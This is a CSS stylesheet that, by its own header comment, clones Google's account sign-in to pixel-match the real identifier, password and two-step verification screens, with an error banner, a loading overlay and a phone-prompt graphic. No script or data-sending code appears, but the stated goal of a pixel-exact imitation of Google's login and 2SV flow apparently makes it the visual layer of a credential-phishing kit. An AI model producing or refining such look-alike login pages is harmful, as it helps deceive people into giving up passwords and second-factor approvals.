/* Google Accounts clone — pixel-match real Google identifier / password / 2SV */
@import url('https://fonts.googleapis.com/css2?family=Google+Sans:wght@400;500&family=Roboto:wght@400;500&display=swap');

*, *::before, *::after { box-sizing: border-box; }

html, body {
  margin: 0;
  padding: 0;
  min-height: 100%;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  background: #202124;
  color: #e8eaed;
  -webkit-font-smoothing: antialiased;
}

a {
  color: #a8c7fa;
  text-decoration: none;
  font-weight: 500;
  font-size: 14px;
}
a:hover { text-decoration: underline; }

.page {
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  padding: 24px 16px 72px;
}

/* ── Card shell ── */
.card {
  width: 100%;
  max-width: 960px;
  background: #0f0f0f;
  border-radius: 28px;
  padding: 40px 40px 36px 40px;
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 0 48px;
  align-items: center;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.35);
}

.card--pwd,
.card--mfa {
  min-height: 360px;
  align-items: start;
}

@media (max-width: 900px) {
  .card {
    max-width: 448px;
    grid-template-columns: 1fr;
    gap: 24px;
    padding: 24px;
    border-radius: 8px;
    min-height: unset;
  }
}

.brand-col {
  min-width: 0;
  align-self: start;
}

.google-logo {
  width: 48px;
  height: 48px;
  display: block;
  margin-bottom: 16px;
}

h1 {
  margin: 0 0 4px;
  font-size: 36px;
  font-weight: 400;
  line-height: 1.25;
  color: #e8eaed;
}

.subtitle {
  margin: 0;
  font-size: 16px;
  line-height: 1.5;
  color: #e8eaed;
  font-weight: 400;
  max-width: 400px;
}

/* ── Identifier right column ── */
.form-col {
  min-width: 0;
  display: flex;
  flex-direction: column;
  justify-content: center;
  padding-top: 40px;
  width: 100%;
  max-width: 400px;
  margin-left: auto;
}

.form-col--id { padding-top: 44px; }

@media (max-width: 900px) {
  .form-col { padding-top: 0; margin-left: 0; max-width: 100%; }
}

/* ── Password right column — field lines up with email chip ── */
.form-col--pwd {
  padding-top: 72px;
  align-self: start;
  max-width: 400px;
  margin-left: auto;
  display: flex;
  flex-direction: column;
  min-height: 220px;
}

@media (max-width: 900px) {
  .form-col--pwd { padding-top: 0; min-height: unset; }
}

.field-wrap {
  position: relative;
  width: 100%;
  max-width: 368px;
}

.field-wrap input {
  width: 100%;
  height: 56px;
  padding: 16px 15px 12px;
  font-size: 16px;
  font-family: Roboto, Arial, sans-serif;
  color: #e8eaed;
  background: transparent;
  border: 1px solid #5f6368;
  border-radius: 4px;
  outline: none;
}

.field-wrap input:focus {
  border: 2px solid #a8c7fa;
  padding: 15px 14px 11px;
}

.field-wrap label {
  position: absolute;
  left: 14px;
  top: 18px;
  font-size: 16px;
  color: #9aa0a6;
  pointer-events: none;
  transition: all 0.15s ease;
  background: #0f0f0f;
  padding: 0 4px;
}

.field-wrap input:focus + label,
.field-wrap input:not(:placeholder-shown) + label,
.field-wrap.has-value label {
  top: -7px;
  left: 10px;
  font-size: 12px;
  color: #a8c7fa;
}

.field-wrap input:not(:focus):not(:placeholder-shown) + label,
.field-wrap.has-value:not(:focus-within) label {
  color: #9aa0a6;
}

.forgot-link { display: inline-block; margin: 8px 0 0; }

.guest-text {
  font-size: 14px;
  line-height: 1.5;
  color: #e8eaed;
  margin: 24px 0 0;
}

.card-actions {
  display: flex;
  align-items: center;
  justify-content: space-between;
  margin-top: 48px;
  width: 100%;
  max-width: 368px;
}

.card-actions--pwd {
  margin-top: 28px;
}

.btn-next {
  min-width: 88px;
  height: 40px;
  padding: 0 24px;
  border: none;
  border-radius: 20px;
  background: #a8c7fa;
  color: #062e6f;
  font-family: "Google Sans", Roboto, Arial, sans-serif;
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
}
.btn-next:hover { background: #b4d0fb; }

.user-chip {
  display: inline-flex;
  align-items: center;
  gap: 8px;
  padding: 4px 10px 4px 4px;
  border: 1px solid #5f6368;
  border-radius: 16px;
  font-size: 14px;
  color: #e8eaed;
  margin-top: 8px;
  max-width: 100%;
  background: transparent;
}

.user-chip .avatar {
  width: 28px;
  height: 28px;
  border-radius: 50%;
  background: #3c4043;
  display: flex;
  align-items: center;
  justify-content: center;
  flex-shrink: 0;
  color: #9aa0a6;
}

.user-chip .email {
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
  max-width: 260px;
}

.user-chip .chevron {
  width: 18px;
  height: 18px;
  flex-shrink: 0;
  color: #9aa0a6;
  opacity: 0.8;
}

.show-pass {
  display: flex;
  align-items: center;
  gap: 10px;
  margin: 10px 0 0;
  font-size: 14px;
  color: #e8eaed;
  cursor: pointer;
}

.show-pass input[type="checkbox"] {
  width: 16px;
  height: 16px;
  accent-color: #a8c7fa;
}

/* ── Footer ── */
.page-footer {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 16px 24px;
  font-size: 12px;
  color: #9aa0a6;
}

.page-footer select {
  background: transparent;
  border: none;
  color: #9aa0a6;
  font-size: 12px;
  cursor: pointer;
  font-family: inherit;
  appearance: none;
  padding-right: 14px;
  background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='6'%3E%3Cpath fill='%239aa0a6' d='M0 0l5 6 5-6z'/%3E%3C/svg%3E");
  background-repeat: no-repeat;
  background-position: right center;
}

.footer-links { display: flex; gap: 24px; }
.footer-links a { color: #9aa0a6; font-weight: 400; font-size: 12px; }
.footer-links a:hover { color: #e8eaed; text-decoration: none; }

.error-banner {
  display: none;
  margin-bottom: 12px;
  padding: 12px 16px;
  border-radius: 8px;
  background: #3c1f1e;
  border: 1px solid #8c1d18;
  color: #f28b82;
  font-size: 14px;
  max-width: 368px;
}
.error-banner.visible { display: block; }

.loading-overlay {
  display: none;
  position: fixed;
  inset: 0;
  background: rgba(32, 33, 36, 0.72);
  z-index: 100;
  align-items: center;
  justify-content: center;
}
.loading-overlay.visible { display: flex; }

.spinner {
  width: 36px;
  height: 36px;
  border: 3px solid #3c4043;
  border-top-color: #a8c7fa;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }

/* ── 2SV page (real Google challenge/dp layout) ── */
.form-col--mfa {
  padding-top: 0;
  margin-left: 0;
  max-width: none;
  align-self: stretch;
  display: flex;
  flex-direction: column;
  justify-content: space-between;
  min-height: 280px;
}

.mfa-prompt-row {
  display: flex;
  align-items: flex-start;
  justify-content: space-between;
  gap: 24px;
  width: 100%;
}

.mfa-copy { flex: 1; min-width: 0; padding-top: 4px; }

.mfa-heading {
  margin: 0 0 10px;
  font-size: 20px;
  font-weight: 400;
  color: #e8eaed;
  line-height: 1.35;
}

.mfa-text {
  margin: 0 0 14px;
  font-size: 14px;
  line-height: 1.55;
  color: #bdc1c6;
}

.mfa-learn {
  margin: 0 0 18px;
  font-size: 14px;
}

.mfa-dont-ask {
  display: flex;
  align-items: center;
  gap: 10px;
  font-size: 14px;
  color: #e8eaed;
  cursor: pointer;
  margin: 0;
}

.mfa-dont-ask input[type="checkbox"] {
  width: 18px;
  height: 18px;
  accent-color: #1a73e8;
}

.mfa-phone-wrap { flex-shrink: 0; padding-top: 0; }

.mfa-phone {
  width: 72px;
  height: 140px;
  border: 2px solid #9aa0a6;
  border-radius: 14px;
  background: transparent;
  position: relative;
}

.mfa-phone-notch {
  width: 28px;
  height: 4px;
  background: #9aa0a6;
  border-radius: 3px;
  margin: 8px auto 0;
}

.mfa-phone-screen {
  margin: 12px 8px 8px;
  height: 96px;
  border-radius: 6px;
  background: #2d2e30;
  display: flex;
  align-items: center;
  justify-content: center;
}

.mfa-gmail-icon {
  width: 32px;
  height: 32px;
  border-radius: 50%;
  background: #fff;
  color: #c5221f;
  font-weight: 700;
  font-size: 16px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-family: Roboto, Arial, sans-serif;
}

.mfa-footer-row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  width: 100%;
  margin-top: auto;
  padding-top: 24px;
}

.mfa-footer-row .resend-link {
  font-size: 14px;
  color: #a8c7fa;
}

.mfa-try-another {
  display: inline-flex;
  align-items: center;
  gap: 10px;
  font-size: 14px;
  color: #9aa0a6;
}

.mfa-try-icon {
  width: 36px;
  height: 36px;
  border-radius: 50%;
  background: #a8c7fa;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #062e6f;
  font-size: 18px;
  font-weight: 500;
  line-height: 1;
}

@media (max-width: 900px) {
  .mfa-prompt-row { flex-direction: column; }
  .mfa-phone-wrap { align-self: center; }
}